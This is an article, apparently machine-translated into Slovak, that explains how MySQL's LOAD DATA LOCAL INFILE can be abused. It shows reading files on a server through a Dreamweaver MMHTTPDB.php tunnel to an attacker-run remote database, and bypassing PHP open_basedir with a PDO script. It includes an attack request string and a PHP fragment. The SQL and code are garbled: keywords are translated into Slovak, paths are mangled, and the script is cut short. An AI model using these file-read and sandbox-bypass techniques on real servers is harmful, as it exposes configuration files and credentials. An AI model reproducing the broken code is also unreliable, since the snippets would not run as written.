Zvážte nasledujúcu situáciu. Nechajte server A mať stránku site.com so zavedeným tunelom http://site.com/_mmServerScripts/MMHTTPDB.php. Predpokladajme, že na serveri A je možné použiť LOAD DATA LOCAL (ako je uvedené vyššie, je to napríklad možné s predvolenými nastaveniami). V tomto prípade môžeme zobrať vzdialený MySQL server, ktorého databázy sú povolené odkiaľkoľvek a ktorý umožňuje aj LOCAL, a pripojiť sa k tomuto serveru pomocou tunela. Údaje pre pripojenie k vzdialenému serveru MySQL:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

V tejto situácii bude server A hrať úlohu klienta, a preto môžeme posielať súbory z jeho hostiteľa do vzdialenej databázy, alebo inými slovami čítať súbory. S nasledujúcou jednoduchou žiadosťou:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /cesta/k/skriptu/nastaveniu_ELTABLE_php"EDDSTBYTER_možnosti.php"DMP"INDFIDATE LINKY UKONČENÉ „__eof__“

V skutočnosti je táto zraniteľnosť nebezpečnejšia ako bežné čítanie súborov: umožňuje čítanie konfiguračných súborov skriptov nainštalovaných na serveri A. Cez ten istý tunel môžete získať priamy prístup k databáze, ktorá tieto skripty spravuje. Vyššie opísaná technika na použitie svalových tunelov môže byť mierne zovšeobecnená a použitá pri využívaní nesériových zraniteľností.


Klientsky server

Pre lepšie pochopenie možností LOAD DATA je potrebné pripomenúť, že MySQL DBMS využíva tradičnú architektúru klient-server. Pri práci s MySQL v skutočnosti pracujeme s dvoma programami:

  • program databázového servera umiestnený na počítači, kde je uložená databáza. Démon mysqld počúva požiadavky klientov cez sieť a pristupuje k obsahu databázy, pričom poskytuje informácie požadované klientmi. Ak sa mysqld spustí s --local-infile=0, potom LOCAL nebude fungovať;
  • klientsky program sa pripojí k serveru a odošle na server požiadavky. Distribúcia MySQL DBMS obsahuje niekoľko klientskych programov: konzolový klient MySQL (najbežnejšie používaný), ako aj mysqldump, mysqladmin, mysqlshow, mysqlimport atď. A ak je to potrebné, môžete si dokonca vytvoriť svoj vlastný klientsky program založený na štandardnej klientskej knižnici libmysql, ktorá sa dodáva s MySQL DBMS.

Ak sa pri použití štandardného klienta MySQL nepodarí použiť príkaz LOAD DATA LOCAL, mali by ste použiť prepínač --local-infile:

Mysql --local-infile sampdb mysql> NAČÍTAJTE ÚDAJE LOCAL INFILE "member.txt" DO TABUĽKY člen;

Alebo zadajte voľbu pre klienta v súbore /my.cnf:

local-infile=1

Je dôležité poznamenať, že štandardne sú všetci klienti a knižnice MySQL skompilované s voľbou --enable-local-infile, aby sa zabezpečila kompatibilita s MySQL 3.23.48 a staršími, takže LOAD DATA LOCAL je zvyčajne k dispozícii pre štandardných klientov. Príkazy na server MySQL sa však odosielajú najmä nie z konzoly, ale zo skriptov, takže jazyky na vývoj webu majú aj klientov na prácu s databázou, ktorí sa môžu funkčnosťou líšiť od štandardného klienta MySQL.

Samozrejme, táto funkcia príkazu LOAD DATA môže predstavovať bezpečnostné riziko pre systém, a preto počnúc MySQL 3.23.49 a MySQL 4.0.2 (4.0.13 vo Win) bude možnosť LOCAL fungovať iba vtedy, ak klient aj server Dovoľte to.

Obíďte obmedzenia open_basedir

Používanie LOAD DATA pomerne často umožňuje obísť obmedzenia open_basedir. To môže byť užitočné, ak máme napríklad prístup k zdieľanému hostiteľskému adresáru jedného používateľa, ale chceme čítať skripty z domovského adresára iného používateľa. Potom inštaláciou tohto skriptu

1)); $e=$pdo->exec("NAČÍTAJTE ÚDAJE LOCAL INFILE "./cesta/k/súboru" DO TESTOVACÍCH POLI TABUĽKY UKONČENÉ "__eof__" UNIKNUTÉ "" RIADKY UKONČENÉ "__eof__""); $pdo = null; ?>

Záver

Kuriózne je, že popisovaná možnosť operátora LOAD DATA je známa už minimálne desať rokov. Zmienku o tom možno nájsť napríklad v tikete [#15408] (Safe Mode / MySQL Vuln 2002-02-06) a potom sa podobné otázky opakovane objavovali na bugs.php.net [#21356] [#23779 ] [#28632 ] [#31261] [#31711]. Na čo vývojári odpovedali doslovne takto:

[e-mail chránený] To nie je chyba, to je vlastnosť :)

Alebo priradený tiket „Stav: Neopraví sa“. Alebo sa obmedzili na záplaty, ktoré nevyriešili takmer nič. Lístky na túto tému opäť vznikli. Preto špecifikovaná metóda obchádzania open_basedir stále funguje na pomerne veľkom počte serverov. S príchodom nového ovládača mysqlnd sa však zdá, že padlo rozhodnutie urobiť významné zmeny: s predvolenými nastaveniami sa tento príkaz už nebude vykonávať vôbec [#54158] [#55737]. Dúfajme, že v blízkej budúcnosti vývojári dajú veci do poriadku v tejto veci.